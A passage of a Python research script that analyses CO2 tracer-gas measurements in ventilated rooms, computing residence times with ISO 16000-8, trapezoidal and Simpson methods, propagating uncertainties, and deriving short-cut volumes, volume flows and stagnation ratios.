exh':'CO2_ppm', 'std dC 2e3e exh': 's_meas'})\n \n #%%%%% Start of integral calculation\n \n # ### Calculating the measurement uncertainty based on the uncertainties of the reference sensors and the deviation of the sensor during its calibration\n # b[\"s_meas\"] = np.sqrt(np.square((b[\"CO2_ppm\"] * accuracy2)) \n # + np.square(accuracy1) + np.square((a[\"CO2_ppm\"] * accuracy4)) \n # + np.square(accuracy3) + np.square((a[\"CO2_ppm\"] * accuracy6)) \n # + np.square(accuracy5)+ np.square(res.loc[0, \"rse\"]))\n ns_meas = b['s_meas'].mean()\n n = len(b['s_meas'])\n \n # the following parameters have already been set global\n # global sa_num, s_lambda, s_phi_e\n # global area_sup, s_rest, s_total, a_rest, a_tot,sa_num,s_lambda, s_phi_e,s_rest, sa_rest, s_area\n \n ### ISO 16000-8 option to calculate slope (defined to be calculated by Spread-Sheat/Excel)\n b[\"t-te\"] = b[\"runtime\"] - b[\"runtime\"].iloc[len(b)-1]\n \n b[\"lnte/t\"] = b[\"log\"].iloc[len(b)-1] - b[\"log\"] # @DRK: The slope (as defined in ISO 16000-8) was always negative since the two subtrahend where in the wrong order.\n \n b[\"slope\"] = b[\"lnte/t\"] / b[\"t-te\"]\n \n try:\n if method=='iso':\n slope = b[\"slope\"].mean()\n \n sumconz = b[\"CO2_ppm\"].iloc[1:-1].sum()\n area_sup = (diff * (b[\"CO2_ppm\"][0]/2 + sumconz + b[\"CO2_ppm\"][len(b)-1]/2))\n print('ATTENTION: ISO 16000-8 method has a weak uncertainty evaluation consider using trapezoidal method is correcting this.')\n \n elif method=='trapez':\n ### More acurate option to calculate the solpe of each (sub-)curve\n x1 = b[\"runtime\"].values\n y1 = b[\"log\"].values\n \n from scipy.stats import linregress\n slope = -linregress(x1,y1)[0]\n \n from numpy import trapz\n area_sup = trapz(b[\"CO2_ppm\"].values, dx=diff) # proof that both methods have same answer: area_sup_2 = area_sup_1\n print('ATTENTION: Trapezoidal method is used in ISO 16000-8 and here also considered in the uncertainty evaluation. However, more precise results are given by applying the Simpson-Rule.')\n \n elif method=='simpson':\n ### More acurate option to calculate the solpe of each (sub-)curve\n x1 = b[\"runtime\"].values\n y1 = b[\"log\"].values\n \n from scipy.stats import linregress\n slope = -linregress(x1,y1)[0]\n \n from scipy.integrate import simpson\n area_sup = simpson(b[\"CO2_ppm\"].values, dx=diff, even='first') # proof that both methods have same answer: area_sup_2 = area_s\n \n else:\n raise ResidenceTimeMethodError\n \n except ResidenceTimeMethodError as err:\n print(err)\n \n b[\"slope\"].iloc[len(b)-1] = slope\n \n # tail = a[\"CO2_ppm\"][len(a)-1]/slope\n a_rest = b[\"CO2_ppm\"].iloc[-1]/slope\n a_tot = area_sup + a_rest\n \n tau2 = a_tot/dC3e.n\n b[\"tau_sec\"] = tau2\n \n try: \n if method=='iso':\n # Taken from DIN ISO 16000-8:2008-12, Equation D2 units are cm3.m-3.sec\n sa_num = ns_meas * (diff) * ((n - 1)/np.sqrt(n))\n \n # The uncertainty of the summed trapezoidal method itself is not covered by ISO 16000-8.\n sa_tm = 0\n \n elif method=='trapez':\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n sa_num = (diff) * ns_meas * np.sqrt((2*n-1)/2*n) \n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n sa_tm = diff**2/12*(b[\"runtime\"].iloc[len(b)-1]-b[\"runtime\"].iloc[0])*b[\"CO2_ppm\"].iloc[0]/tau2**2\n \n elif method=='simpson':\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n sa_num = 1/3*diff*ns_meas*np.sqrt(2+20*round(n/2-0.5))\n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n sa_tm = diff**4/2880*(b[\"runtime\"].iloc[len(b)-1]-b[\"runtime\"].iloc[0])*b[\"CO2_ppm\"].iloc[0]/tau2**4\n \n else:\n raise ResidenceTimeMethodError\n \n except ResidenceTimeMethodError as err:\n print(err)\n \n s_lambda = b[\"slope\"][:-1].std()/abs(b[\"slope\"][:-1].mean())\n s_phi_e = b[\"slope\"][:-1].std()/slope\n \n s_rest = np.sqrt(pow(s_lambda,2) + pow(s_phi_e,2))\n sa_rest = s_rest * a_rest\n s_area = np.sqrt(pow(sa_num,2) + pow(sa_tm,2) + pow(sa_rest,2))/a_tot\n # ATTENTION: s_total is a relative uncertainty!\n s_total = np.sqrt(pow(s_area,2) + pow(dC3e.s/dC3e.n,2))\n \n b.loc[:, \"s_total\"] = s_total*tau2\n \n #%%%%% Calculate weighting factor \n sup_exh_df = sup_exh_df.set_index('datetime')\n \n dfslice = sup_exh_df[b[\"datetime\"].iloc[0]:b[\"datetime\"].iloc[len(b)-1]]\n dfslice = dfslice.filter(['d calc exh-av', 'std d calc exh-av'])\n b = b.set_index('datetime')\n b = pd.concat([b, dfslice], axis = 1).reset_index()\n del dfslice\n \n from scipy.integrate import simpson\n area_weight = simpson(b[\"d calc exh-av\"].values, dx=diff, even='first')\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n \n saw_num = 1/3*diff*np.mean(b[\"std d calc exh-av\"])*np.sqrt(2+20*round(n/2-0.5))\n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n saw_tm = diff**4/2880*(b[\"runtime\"].iloc[len(b)-1]-b[\"runtime\"].iloc[0])*ddCmax_exhav[\"d calc exh-av\"]\n \n saw = np.sqrt(pow(saw_num,2) + pow(saw_tm,2))\n \n area_weight = ufloat(area_weight, saw)\n weight = area_weight/(ufloat(ddCmax_exhav[\"d calc exh-av\"],ddCmax_exhav[\"std d calc exh-av\"])*b['runtime'].iloc[-1])\n \n b.loc[:, \"weight\"] = weight.n\n b.loc[:, \"std weight\"] = weight.s\n \n b.loc[:, \"Cycle\"] = e_cyc\n \n sup_exh_df.reset_index(inplace=True)\n \n #%%%%% Summarise\n df_tau_exh.append(b)\n else:\n if logging:\n prRed(\"Since the exhaust cycle {} has a runtime of {} s it is outside [{}, {}]\".format(e_cyc, lenb, lb, ub))\n pass\n \n e_cyc = e_cyc + 1\n \n else:\n pass\n #%%%% Exhaust tau from step-up curves \n cyclnr_exh = []\n tau_list_exh = []\n stot_list_exh = []\n weight_list_exh = []\n saw_list_exh = []\n for jdf in df_tau_exh:\n cyclnr_exh.append(jdf[\"Cycle\"][0])\n tau_list_exh.append(jdf[\"tau_sec\"][0])\n stot_list_exh.append(jdf[\"s_total\"][0])\n weight_list_exh.append(jdf[\"weight\"][0])\n saw_list_exh.append(jdf[\"std weight\"][0])\n \n df_tau_e = pd.DataFrame({'Cycle':cyclnr_exh,\n 'tau_exh':tau_list_exh, \n 'std tau_exh':stot_list_exh, \n 'weight':weight_list_exh, \n 'std weight':saw_list_exh})\n \n # Filter outliers (see https://medium.com/@stevenewmanphotography/eliminating-outliers-in-python-with-z-scores-dd72ca5d4ead)\n df_tau_e['outliers'] = find_outliers(df_tau_e['tau_exh'])\n df_tau_e = df_tau_e[df_tau_e['outliers']==False]\n \n '''\n From the plots later on one can clearly see that the residence time \n of theexhaust phases increases with the number of cycles of the measu-\n rement. This is because over time there are less and lesser marked \n fluid elements in the system with low residence times, since they have \n already been washed out. The remaining marked (with tracer) elements are \n those who have been stagnating or recycled till the current period. As a \n consequence it is quite obvious, that the residence time of V2 will\n after infinit time approach to the residence time of V3.\n The actual mean residence time of V2 is neighter the one measured by\n the first period nor by the one after infinit time. \n \n Since it is already known that the residence time of the exhaust phases\n will approach to the residence time of V3 the infinit concentration \n where the step-up curves are approaching is the exhaust concentration\n of V3. However, as just realised the residence times increase from \n one cycle to the next cycle. For the tracer measurements this means\n that the infinity concentration of a step-up curve should be at least \n between the average concentration in the room and the calculated \n exhaust concentration of V3. Substracting the average concentration \n over time from the exhaust concentration over time gives a function\n which has one maximum. Around this maximum the driving concentration\n diverence between exhaust air and room average air should be maximal\n and therefore the distiction between exhaust air and average room air.\n \n A cfac_e close to 1 will select those calculated residence times form\n evaluated cicles around this maximum.\n '''\n cfac_e = 0.99\n df_tau_e2 = df_tau_e[df_tau_e['weight']>cfac_e]\n if len(df_tau_e2) == 0:\n df_tau_e2 = df_tau_e.nlargest(10, 'weight')\n \n tau_list_exh_u = unumpy.uarray(df_tau_e2['tau_exh'],df_tau_e2['std tau_exh'])\n weight_list_exh_u = unumpy.uarray(df_tau_e2['tau_exh'],df_tau_e2['std tau_exh']) \n \n tau_e_u = sum(tau_list_exh_u*weight_list_exh_u)/sum(weight_list_exh_u)\n \n #%%%%% Plot: residence times of the step-up curves during exhaust-phase \n if plot:\n import plotly.io as pio\n\n pio.renderers.default='browser'\n pd.options.plotting.backend = \"matplotlib\"\n #######################################################################\n pd.options.plotting.backend = \"plotly\"\n \n import plotly.io as pio\n \n pio.renderers.default='browser'\n import plotly.express as px\n import plotly.graph_objects as go\n from plotly.subplots import make_subplots\n\n # Create figure with secondary y-axis\n fig = make_subplots(specs=[[{\"secondary_y\": True}]])\n \n fig.add_trace(go.Scatter(name='Verweilzeit',\n x = df_tau_e['Cycle'], \n y = df_tau_e['tau_exh'],\n error_y=dict(value=df_tau_e['std tau_exh'].max())\n ),\n secondary_y=False,\n )\n \n \n fig.add_trace(go.Scatter(name='Gewichtung',\n x = df_tau_e['Cycle'], \n y = df_tau_e['weight'],\n error_y=dict(value=df_tau_e[\"std weight\"].max())\n ),\n secondary_y=True,\n )\n \n fig.update_layout(\n title=\"Abluft\",\n xaxis_title=\"Zyklusnummer\",\n yaxis_title=r'Verweilzeit $\\bar{t}_2$',\n legend_title=\"Legende\",\n font=dict(\n family=\"Segoe UI\",\n size=18,\n color=\"black\"\n )\n )\n \n fig.show()\n \n import plotly.io as pio\n \n pio.renderers.default='browser'\n pd.options.plotting.backend = \"matplotlib\"\n \n #%%%% Calculating the period number expected delivering the expected mean residence time of V2\n '''\n From the plots above one can clearly see that the residence time of the\n exhaust phases increases with the number of cycles of the measurement.\n This is because over time there are less and lesser marked fluid \n elements in the system with low residence times since they have \n already been washed out. The remaining marked (with tracer) elements are \n those who have been stagnating or recycled till the current period. As a \n consequence it is quite obvious, that the residence time of V2 will\n after infinit time approach to the residence time of V3.\n The actual mean residence time of V2 is neighter the one measured by\n the first period nor by the one after infinit time. The \"mean index\"\n of the period representing the best value for the residence time of V2\n has to be calculated by a similar procedure as the residence times \n themsleves.\n \n Since it is already known that the residence time of the exhaust phases\n will approach to the residence time of V3 the infinit concentration \n where the step-up curves are approaching is the exhaust concentration\n of V3. However, as just realised the residence times increase from \n one cycle to the next cycle. For the tracer measurements this means\n that the infinity concentration of a step-up curve should be at least \n between the average concentration in the room and the calculated \n exhaust concentration of V3. Substracting the average concentration \n over time from the exhaust concentration over time gives a function\n which carries information about the size of the interval of possible \n concentrations which fullfill this criterion\n '''\n \n # df_indexm_exh = []\n\n \n #%%%%% Calculate Delta tau between exhaust of tau_3 and and exhaust of tau_2\n # ''' \n # '''\n \n # count = 0\n # df_tau_e['dtau 2e3e exh'] = pd.Series(dtype='float64')\n # df_tau_e['std dtau 2e3e exh'] = pd.Series(dtype='float64')\n # while (count < len(b['datetime'])): \n # dtau_2e_u = ufloat(df_tau_e[\"nom\"][count],df_tau_e[\"std\"][count])\n # value = 2*alpha_mean_u*3600 - dtau_2e_u\n # df_tau_e['dtau 2e3e exh'][count] = value.n\n # df_tau_e['std dtau 2e3e exh'][count] = value.s\n # count = count + 1 \n \n # #%%%%% Calculation of the logarithmic concentration curves\n \n # df_tau_e[\"log\"] = np.log(df_tau_e['dtau 2e3e exh'])\n # df_tau_e[\"std log\"] = df_tau_e['std dtau 2e3e exh']/df_tau_e['dtau 2e3e exh']\n # df_tau_e = df_tau_e.dropna()\n \n # #%%%%% Start of integral calculation\n \n # diff = 1\n \n # ns_meas = df_tau_e['std dtau 2e3e exh'].mean()\n # n = len(df_tau_e['std dtau 2e3e exh'])\n \n # # Because the evaluation of the residence times t0 and t0 --> Will be considered differently\n # #df_tau_e['index'] = df_tau_e['index'] + fdelay\n\n # df_tau_e['index'] = np.arange(0,len(df_tau_e) * diff, diff)\n \n # ### ISO 16000-8 option to calculate slope (defined to be calculated by Spread-Sheat/Excel)\n # df_tau_e[\"i-ie\"] = df_tau_e['index'] - df_tau_e['index'][len(df_tau_e)-1]\n \n # df_tau_e[\"lnie/i\"] = df_tau_e[\"log\"][len(df_tau_e)-1] - df_tau_e[\"log\"] # @DRK: The slope (as defined in ISO 16000-8) was always negative since the two subtrahend where in the wrong order.\n \n # df_tau_e[\"slope\"] = df_tau_e[\"lnie/i\"] / df_tau_e[\"i-ie\"]\n \n \n # ### More acurate option to calculate the solpe of each (sub-)curve\n # x1 = df_tau_e['index'].values\n # y1 = df_tau_e[\"log\"].values\n \n # from scipy.stats import linregress\n # slope = -linregress(x1,y1)[0]\n \n # from scipy.integrate import simpson\n # area_sup = simpson(df_tau_e[\"dtau 2e3e exh\"].values, dx=diff, even='first') # proof that both methods have same answer: area_sup_2 = area_s\n \n \n # df_tau_e.loc[[len(b)-1], \"slope\"] = slope\n\n # # tail = a[\"CO2_ppm\"][len(a)-1]/slope\n # a_rest = df_tau_e[\"dtau 2e3e exh\"].iloc[-1]/slope\n # a_tot = area_sup + a_rest\n \n # indexm2 = a_tot/(2*alpha_mean_u.n*3600)\n # df_tau_e[\"indexm2\"] = indexm2\n \n \n # # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n # sa_num = 1/3*diff*ns_meas*np.sqrt(2+20*round(n/2-0.5))\n \n # # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n # sa_tm = diff**4/2880*(df_tau_e['index'].loc[len(df_tau_e)-1]-df_tau_e['index'][0])*df_tau_e[\"dtau 2e3e exh\"][0]/indexm2**4\n \n \n # s_lambda = df_tau_e[\"slope\"][:-1].std()/abs(df_tau_e[\"slope\"][:-1].mean())\n # s_phi_e = df_tau_e[\"slope\"][:-1].std()/slope\n\n # s_rest = np.sqrt(pow(s_lambda,2) + pow(s_phi_e,2))\n # sa_rest = s_rest * a_rest\n # s_area = np.sqrt(pow(sa_num,2) + pow(sa_tm,2) + pow(sa_rest,2))/a_tot\n # s_total = np.sqrt(pow(s_area,2) + pow(df_tau_e[\"std dtau 2e3e exh\"][0]/df_tau_e[\"dtau 2e3e exh\"][0],2))\n \n # df_tau_e.loc[:, \"s_total\"] = s_total\n\n # df_tau_exh.append(b)\n \n \n #%% returned values\n \"\"\"\n Returns:\n t0 = initial timestamp of the start of the experiment\n tn = final timestamp of the evaluated data\n tau_e = exhaust residence time of the short-cut volume\n tau_s = exhaust residence time of the recirculation volume \n (\"supply residence time\")\n \"\"\"\n\n return [database, experiment, aperture_sensor, t0, tn, 2*alpha_mean_u, \n tau_e_u, df_tau_e, \n tau_s_u, df_tau_s]\n\n#%% residence_Vflow_weighted\ndef residence_Vflow_weighted(vflow = pd.DataFrame([[30, 60], [5, 10]], \n columns=['vol flow', 'std vol flow'], \n dtype=('float64')), \n resitime = pd.DataFrame([[64, 45], [5, 10]],\n columns=['rtime', 'std rtime'], \n dtype=('float64'))\n ):\n from uncertainties import unumpy\n \n try:\n if len(vflow) == len(resitime):\n resitime_u = unumpy.uarray(resitime['rtime'], resitime['std rtime'])\n vflow_u = unumpy.uarray(vflow['vol flow'],vflow['std vol flow']) \n \n resitime_u = sum(resitime_u*vflow_u)/sum(vflow_u)\n \n resitime = pd.DataFrame(columns=['rtime', 'std rtime'], \n dtype=('float64'))\n resitime = pd.DataFrame([{'rtime': resitime_u.n, 'std rtime': resitime_u.s}],dtype=('float64'))\n else:\n string = 'ValueError: The number of passed volume flows and residence times has to be equal.'\n raise ValueError \n pass\n except ValueError:\n prYellow(string)\n \n return resitime\n\n#%% Summarise_vflows\ndef Summarise_vflows(experiment = \"W_I_e0_Herdern\"):\n \n experimentglo = CBO_ESHL(experiment = experiment)\n dvdt = pd.DataFrame(columns=('experiment','volume_flow','volume_flow_std','level',\n 'vdot_sup','vdot_sup_std','vdot_exh','vdot_exh_std'))\n \n try:\n if 'eshl' in experimentglo.database:\n try:\n if experimentglo.experiment[2] == 'I':\n level = ['Kü_100', 'SZ01_100', 'SZ02_100', 'WZ_100']\n for count in range(len(level)): \n dvdt = dvdt.append(experimentglo.volume_flow(level_eshl = level[count]), ignore_index=True)\n try:\n if experimentglo.experiment[4:6] == 'e0':\n pass\n else:\n string1 = 'Only those cases with balanced volume flow settings are yet covered by Summarise_vflows().'\n raise ValueError\n except ValueError:\n prYellow(string1)\n \n \n elif experimentglo.experiment[2] == 'H':\n level = ['Kü_20', 'SZ01_20', 'SZ02_20', 'WZ_20']\n for count in range(len(level)): \n dvdt = dvdt.append(experimentglo.volume_flow(level_eshl = level[count]), ignore_index=True)\n try:\n if experimentglo.experiment[4:6] == 'e0':\n pass\n else:\n string2 = 'Only those cases with balanced volume flow settings are yet covered by Summarise_vflows().'\n raise ValueError\n except ValueError:\n prYellow(string2)\n pass\n else:\n string3 = 'CBO_ESHL.experiment has the wrong syntax. The 3rd string element must be \"I\" for \"intensiv ventilation\" or \"H\" for \"humidity protection\".'\n raise NameError\n pass\n except NameError:\n prYellow(string3)\n pass\n elif 'cbo' in experimentglo.database:\n try:\n if experimentglo.experiment[2] == 'I':\n level = ['K1_St5', 'K2_St5', 'SZ_St5']\n for count in range(len(level)): \n dvdt = dvdt.append(experimentglo.volume_flow(level_cbo = level[count]), ignore_index=True)\n try:\n if experimentglo.experiment[4:6] == 'e0':\n pass\n else:\n string4 = 'Only those cases with balanced volume flow settings are yet covered by Summarise_vflows().'\n raise ValueError\n except ValueError:\n prYellow(string4)\n elif experimentglo.experiment[2] == 'H':\n level = ['K1_St4', 'K2_St4', 'SZ_St4']\n for count in range(len(level)): \n dvdt = dvdt.append(experimentglo.volume_flow(level_cbo = level[count]), ignore_index=True)\n try:\n if experimentglo.experiment[4:6] == 'e0':\n pass\n else:\n string5 = 'ValueError: Only those cases with balanced volume flow settings are yet covered by Summarise_vflows().'\n raise ValueError\n except ValueError:\n prYellow(string5)\n pass\n else:\n string6 = 'NameError: CBO_ESHL.experiment has the wrong syntax. The 3rd string element must be \"I\" for \"intensiv ventilation\" or \"H\" for \"humidity protection\".'\n raise NameError\n pass\n except NameError:\n prYellow(string6)\n pass\n else:\n string7 = 'NameError: The current CBO_ESHL.database is not valid. Volumeflows can not be returned CBO_ESHL.volume_flow().'\n raise NameError\n pass\n except NameError:\n prYellow(string7)\n\n return dvdt\n\n#%% Summarise_resitimes\ndef Summarise_resitimes(experiment = \"W_I_e0_Herdern\"):\n \n experimentglo = CBO_ESHL(experiment = experiment)\n \n time = pd.read_sql_query(\"SELECT * FROM testdb.timeframes;\", con = engine) \n #standard syntax to fetch a table from Mysql; In this case a table with the \n # short-names of the measurements, all the start and end times, the DB-name \n # of the measurement and the required table-names of the DB/schema is loaded into a dataframe. \n \n t = time[\"timeframes_id\"][time.index[time['short_name'].isin([experiment])==True].tolist()[0]]-1\n \n table = time[\"tables\"][t].split(\",\") #Name of the ventilation device\n \n resitime = pd.DataFrame(index=range(len(table)),\n columns=('Sensor',\n 'av restime_3 in h','std av restime_3 in h',\n 'av restime_2 in s','std av restime_2 in s',\n 'av restime_1 in s','std av restime_1 in s'))\n \n for i in range(len(table)):\n df = residence_time_sup_exh(experiment=experiment, aperture_sensor = table[i], \n periodtime=120, \n experimentname=True, plot=False, \n export_sublist=False, method='simpson',\n filter_maxTrel=0.25, logging=False)\n resitime.loc[i] = pd.Series({'Sensor':table[i], \n 'av restime_3 in h': df[5].n,'std av restime_3 in h': df[5].s,\n 'av restime_2 in s': df[6].n,'std av restime_2 in s': df[6].s,\n 'av restime_1 in s': df[8].n,'std av restime_1 in s': df[8].s})\n\n return resitime\n\n#%% check_for_nan\ndef check_for_nan(numbers = {'set_of_numbers': [1,2,3,4,5,np.nan,6,7,np.nan,8,9,10,np.nan]}):\n import pandas as pd\n import numpy as np\n \n df = pd.DataFrame(numbers,columns=['set_of_numbers'])\n\n check_for_nan = df['set_of_numbers'].isnull().values.any()\n print (check_for_nan)\n\n#%% summary_resitime_vflow \ndef summary_resitime_vflow(experiment = \"W_I_e0_Herdern\", reset=False):\n import pandas as pd\n import pickle as pk\n import os.path\n \n experimentglo = CBO_ESHL(experiment = experiment)\n \n try:\n if reset:\n with open(experiment + \"_summary\", \"wb\") as file_summary:\n summary = [Summarise_vflows(experiment = experiment), \n Summarise_resitimes(experiment = experiment)]\n pk.dump(summary, file_summary)\n pass\n elif os.path.exists(experiment + \"_summary\"):\n with open(experiment + \"_summary\", \"rb\") as file_summary:\n summary = pk.load(file_summary)\n pass\n else:\n with open(experiment + \"_summary\", \"wb\") as file_summary:\n summary = [Summarise_vflows(experiment = experiment), \n Summarise_resitimes(experiment = experiment)]\n pk.dump(summary, file_summary)\n string3 = 'No file \"{}_summary\" found. \"summary\" has been recreated and saved as \"{}_summary\".'.format(experiment, experiment) \n pass\n except IOError:\n prYellow(string3)\n finally:\n file_summary.close()\n \n \n \n try:\n if os.path.exists(experiment + \"_summary_final\"):\n with open(experiment + \"_summary_final\", \"rb\") as file_summary:\n summary = pk.load(file_summary)\n pass\n else:\n with open(experiment + \"_summary_final\", \"wb\") as file_summary:\n try:\n if experiment == (summary[0]['experiment'].loc[:]).all():\n volume_flow = summary[0]['volume_flow'].loc[0]\n std_volume_flow = summary[0]['volume_flow_std'].loc[0]\n av_resitime_3_h = summary[1]['av restime_3 in h'].loc[0]\n std_av_resitime_3_h = summary[1]['std av restime_3 in h'].loc[0]\n del summary[0]['experiment'], summary[0]['volume_flow'], summary[0]['volume_flow_std']\n del summary[1]['av restime_3 in h'], summary[1]['std av restime_3 in h']\n summary[0] = summary[0].set_index('level')\n summary[1] = summary[1].set_index('Sensor')\n summary.insert(0, experiment)\n summary.insert(1, experimentglo.volume())\n summary.insert(2, pd.DataFrame([{'volume_flow': volume_flow, \n 'std_volume_flow': std_volume_flow}]))\n summary.insert(3, pd.DataFrame([{'av restime_3 in h': av_resitime_3_h, \n 'std av restime_3 in h': std_av_resitime_3_h}]))\n pass\n else: \n string1 = 'ValueError: summary_resitime_vflow() received wrong data.' \n raise ValueError\n except ValueError:\n prYellow(string1)\n \n \n try:\n if 'eshl' in experimentglo.database:\n relation = pd.DataFrame(data={'Level':['SZ01_100', 'SZ02_100', 'Kü_100', 'WZ_100','SZ01_20', 'SZ02_20', 'Kü_20', 'WZ_20'],\n 'Sensor': ['1l', '2l', '3l_kü', '3l_wz', '1l', '2l', '3l_kü', '3l_wz']\n })\n pass\n elif 'cbo' in experimentglo.database:\n relation = pd.DataFrame(data={'Level':['K1_St4', 'K1_St4', 'K2_St4', 'SZ_St4', 'K1_St5', 'K1_St5', 'K2_St5', 'SZ_St5'],\n 'Sensor': ['1l','1l_sub','2l','3l','1l','1l_sub','2l', '3l']\n })\n pass\n else:\n string2 = 'NameError: The current CBO_ESHL.database is not valid. Volumeflows can not be returned CBO_ESHL.summary_resitime_vflow().'\n raise NameError\n pass\n except NameError:\n prYellow(string2)\n \n relation = pd.MultiIndex.from_frame(relation)\n summary[4] = summary[4].reindex(index=relation, level=0)\n summary[5] = summary[5].reindex(index=relation, level=1)\n summary.insert(6, pd.concat([summary[4], summary[5]], \n join=\"outer\", axis=1))\n summary[6] = summary[6].dropna() \n # del summary[3], summary[4]\n \n #%%% Local residence time dataframes\n supplyt = summary[6].loc[:,['av restime_1 in s', 'std av restime_1 in s']]\n supplyt = supplyt.reset_index()\n del supplyt['Level'], supplyt['Sensor']\n supplyt.rename(columns = {'av restime_1 in s':'rtime', 'std av restime_1 in s':'std rtime'}, inplace = True)\n \n exhaustt = summary[6].loc[:,['av restime_2 in s', 'std av restime_2 in s']]\n exhaustt = exhaustt.reset_index()\n del exhaustt['Level'], exhaustt['Sensor']\n exhaustt.rename(columns = {'av restime_2 in s':'rtime', 'std av restime_2 in s':'std rtime'}, inplace = True)\n \n #%%% Local volume flow dataframes\n supplyV = summary[6].loc[:,['vdot_sup', 'vdot_sup_std']]\n supplyV = supplyV.reset_index()\n del supplyV['Level'], supplyV['Sensor']\n supplyV.rename(columns = {'vdot_sup':'vol flow', 'vdot_sup_std':'std vol flow'}, inplace = True)\n \n exhuastV = summary[6].loc[:,['vdot_exh', 'vdot_exh_std']]\n exhuastV = exhuastV.reset_index()\n del exhuastV['Level'], exhuastV['Sensor']\n exhuastV.rename(columns = {'vdot_exh':'vol flow', 'vdot_exh_std':'std vol flow'}, inplace = True)\n \n #%%% Calculating the weighted residence times for the whole system\n summary.insert(7,residence_Vflow_weighted(supplyV, supplyt))\n summary[7].rename(columns = {'rtime':'av t1 in s', 'std rtime':'std av t1 in s'}, inplace = True)\n summary.insert(8,residence_Vflow_weighted(exhuastV, exhaustt))\n summary[8].rename(columns = {'rtime':'av t2 in s', 'std rtime':'std av t2 in s'}, inplace = True)\n \n #%%% Calculating the short-cut volume V2\n tav2 = summary[8]['av t2 in s'].loc[0] # residence time short-cut volume, in s\n tav2_std = summary[8]['std av t2 in s'].loc[0]\n Vdt23 = summary[2]['volume_flow'].loc[0] # effective volume flow of the ventilation device, in m³/h\n Vdt23_std = summary[2]['std_volume_flow'].loc[0]\n V23 = summary[1]['Volume V23 in m³'].loc[0] # volume of the ventilated space, in m³\n V23_std = summary[1]['std Volume V23 in m³'].loc[0]\n alphaav3 = summary[3]['av restime_3 in h'].loc[0]/2 # average air age in the ventilated space, in h\n alphaav3_std = summary[3]['std av restime_3 in h'].loc[0]/2\n \n V2 = short_cut_volume(tav2 = tav2, tav2_std = tav2_std, \n Vdt23 = Vdt23, Vdt23_std = Vdt23_std, \n V23 = V23, V23_std = V23_std, \n alphaav3 = alphaav3, alphaav3_std = alphaav3_std)\n \n summary[1] = pd.concat([summary[1], V2],join=\"outer\", axis=1)\n \n #%%% Remaining volume V3 containing the occupied space\n V23 = summary[1]['Volume V23 in m³'].loc[0] # volume of the ventilated space, in m³\n V23_std = summary[1]['std Volume V23 in m³'].loc[0]\n V2 = summary[1]['short-cut volume V2 in m³'].loc[0] # volume of the ventilated space, in m³\n V2_std = summary[1]['std short-cut volume V2 in m³'].loc[0]\n \n V3 = occupied_volume(V23, V23_std, V2, V2_std)\n \n summary[1] = pd.concat([summary[1], V3],join=\"outer\", axis=1)\n \n #%%% Volume flow circulating through the volume of the occupied space\n V3 = summary[1]['occupied volume V3 in m³'].loc[0] # volume of the ventilated space, in m³\n V3_std = summary[1]['std occupied volume V3 in m³'].loc[0]\n alphaav3 # residence time of the occupied space, in h\n alphaav3_std\n \n Vdt3 = occupied_volumeflow(V3, V3_std, alphaav3, alphaav3_std)\n \n summary[2] = pd.concat([summary[2], Vdt3],join=\"outer\", axis=1)\n \n #%%% Volume flow through the short-cut volume\n Vdt3 = summary[2]['volume flow Vdt3 in m³/h'].loc[0] # volume of the ventilated space, in m³\n Vdt3_std = summary[2]['std volume flow Vdt3 in m³/h'].loc[0]\n Vdt23\n Vdt23_std\n \n Vdt2 = short_cut_volumeflow(Vdt3, Vdt3_std, Vdt23, Vdt23_std)\n \n summary[2] = pd.concat([summary[2], Vdt2],join=\"outer\", axis=1)\n \n #%%% Short-cut (K) and stagnation (S) ratio\n Vdt23\n Vdt23_std\n Vdt2 = summary[2]['volume flow Vdt2 in m³/h'].loc[0] # volume of the ventilated space, in m³\n Vdt2_std = summary[2]['std volume flow Vdt2 in m³/h'].loc[0]\n \n KS = short_cut_stagnation_ratio(Vdt23, Vdt23_std,Vdt2, Vdt2_std)\n '''\n KS = pd.DataFrame([{'Kurzschluss in %Vdt': K[0].n, 'std Kurzschluss in %Vdt': K[0].s,\n 'Stagnation in %Vdt': S[0].n, 'std Stagnation in %Vdt': S[0].s }])\n '''\n summary.insert(9,KS)\n \n #%%% Nominal time constants tau3, tau2 and tau1\n '''\n The basic assumption of this model is that the distinction\n between the subsystems is idealy mixed behaviour of the\n subsystems. Meaning that the relative exchange efficiency is:\n \n tau tau\n epsilon^(a,r) = -------------- = ----- = 50%\n 2 * alphaav tav\n \n Therefore:\n tau3 = alphaav\n tau2 = 0.5 * tav2\n tau1 = 0.5 * tav1 \n ''' \n tau = pd.DataFrame([{'tau3 in h': alphaav3, 'std tau3 in h': alphaav3_std,\n 'tau2 in h': 0.5*summary[8]['av t2 in s'].iloc[0]/3600, 'std tau2 in h': 0.5*summary[8]['std av t2 in s'].iloc[0]/3600,\n 'tau1 in h': 0.5*summary[7]['av t1 in s'].iloc[0]/3600, 'std tau1 in h': 0.5*summary[7]['std av t1 in s'].iloc[0]/3600}])\n \n summary.insert(10,tau)\n \n #%%% Response characteristics of the recycle system 23\n RecycSys23 = recyclesystem(Vdt12=summary[2]['volume_flow'].loc[0], Vdt12_std=summary[2]['std_volume_flow'].loc[0], # volume flow entering and leaving the whole system V12, in m³/h \n Vdt2=summary[2]['volume flow Vdt3 in m³/h'].loc[0], Vdt2_std=summary[2]['std volume flow Vdt3 in m³/h'].loc[0], # volume flow of the backfeed subsystem V2, in m³/h\n tau1=summary[10]['tau2 in h'].loc[0], tau1_std=summary[10]['std tau2 in h'].loc[0], # nominal time constant of subsystem V1, in h\n tau2=summary[10]['tau3 in h'].loc[0], tau2_std=summary[10]['std tau3 in h'].loc[0])\n \n summary.insert(11,RecycSys23)\n \n #%%% Calculate exchange efficiency characteristics\n EE = exchange_efficiency(tau=summary[11]['tau in h'].loc[0], tau_std=summary[11]['std tau in h'].loc[0],\n sigma_dimless=summary[11]['(sigma²)* in -'].loc[0], sigma_dimless_std=summary[11]['std (sigma²)* in -'].loc[0])\n\n summary.insert(12,EE)\n \n #%%% Calculate recirculation ratio\n R = recirculation_ratio(S=summary[9]['Stagnation in %Vdt'].iloc[0],S_std=summary[9]['std Stagnation in %Vdt'].loc[0],\n epsilonabs=summary[12]['epsilon in 